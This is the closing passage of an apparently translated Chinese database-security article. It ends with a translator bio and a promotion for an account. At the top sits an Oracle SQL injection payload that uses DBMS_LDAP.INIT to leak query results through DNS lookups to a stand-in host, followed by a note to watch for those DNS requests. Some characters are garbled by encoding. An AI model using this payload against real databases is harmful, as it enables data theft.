vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM DUAL)
你需要監(jiān)測去到com 的 DNS 解析請求
譯者簡介
瘋子船長CasYang:不務(wù)正業(yè)的后臺開發(fā),主業(yè) Java,閑時讀書 / 運維 / 產(chǎn)品 / 運營 / 項目管理 / 運動 / 音樂....
打賞譯者翻出更多好文章,謝謝!
關(guān)注「數(shù)據(jù)庫開發(fā)」
看更多精選數(shù)據(jù)庫技術(shù)文章
↓↓↓